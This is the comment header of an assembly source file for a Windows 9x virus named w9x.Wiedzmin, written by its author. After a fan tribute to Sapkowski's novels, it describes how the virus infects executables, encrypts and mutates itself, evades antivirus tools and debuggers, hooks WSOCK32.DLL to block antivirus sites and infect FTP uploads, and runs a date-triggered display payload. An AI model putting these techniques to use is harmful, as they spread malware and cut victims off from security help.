; ÄÄÄÄÄÄÄÄÄÄÄÄ
;
; The name 'Wiedzmin' was stolen from Andrzej Sapkowski saga "Wiedzmin".
; (sapkowski.pl,sapkowski.cz) - someone said that he is another
; Tolkien (in my opinion this book is even better then Tolkienz
; "Lord of the Rings").
; Wiedzmin was a some kind of mutant (only few kids from 10 can survive
; wiedzmin test). As a mutant he was very fast, he was master of fencig,
; he can see at night, and he of course can make magic signs.
; Blah ...
; Next he went, and travel around the world (he was killing monsterz for money).
; In his journey he met new fantasic characters like Regis (vapire),
; Milva (hunter), Jaskier (bard), Yennefer (witch) , Ciri (child of destinty)
; ...
;
; The book is realy FANTASTIC! Full of adventures, fight, sex (X-D),
; blood, swearwords, and much much more! I realy advice you to READ IT!
; (check translationz for your language: www.sapkowski.pl).
; If you like fantasy you CAN'T miss IT!

; Virus name : w9x.Wiedzmin
; Virus version : 1.0
; Virus author : Lord YuP - Deithwen Addan
; Release date : 6.02.02+8.02.02 i forgot to install SEH, he he
; Virus type : PE infector and WSOCK32.DLL hooker
; Target Systems : win95<nt>, win98<nt>, winME<t>
; †[nt] - not tested (should work, if not fuck it!)
; †[t] - tested
;
;
; Encryption : 3 LAYERS CRYPTED BY RANDOM NUMBER!
; † 1 - cryptz main virus body †
; † 2 - cryptz host body †
; † 3 - cryptz virus data †
;
; Every layer is crypted by another key.
;
; Virus helper : Virus when found section called different
; then ".text" or "CODE" (EIP must point to
; it) it is gonna to crypt all file body
; and put only decryptor into last section.
; The main body (with other virus probably)
; is crypted by random key. EIP points to
; decryptor.
;
;
;
; Polymorphic : Yep random key crypting, adding
; 90h<NOP> garbage in the range
; of 0-255.
;
;
; AntiAV : Virus wouldn't infect filez
; with 'a','A','E','e','v','V'
; at start.
;
;
; AntiDEBUG : Yep, using win9x Softice detection,
; and IsDebuggerPresent API. When
; sice is found it shows message in
; debbuger and exec int 19h !
; Other debbugers like td32, SoftSnoop
; end so on = int 19h!
;
;
; WSOCK32 hooker : Virus infect wsock32.dll replacing the
; send, connect function addressez.
; After reboot (wininit.ini ;P) functionz
; will be hooked. User will never connect
; to AV sitez (error: host not found),
; and when user will try to put a file in
; the FTP account, virus will infect it on
; fly.
;
;
;
; Infection procez : Virus infect 7 filez in the local
; directory and 7 filez in the windowz
; directory. Virus is going to apend
; itself to the last section. The section
; is increased. EIP points to it.
;
;
;
; Payload : On 22.06 or 22.12 every run it gonna
; print color string in the infinite
; loop. The string will be VISIBLE
; everywhere - virus grabz active
; window HDC!
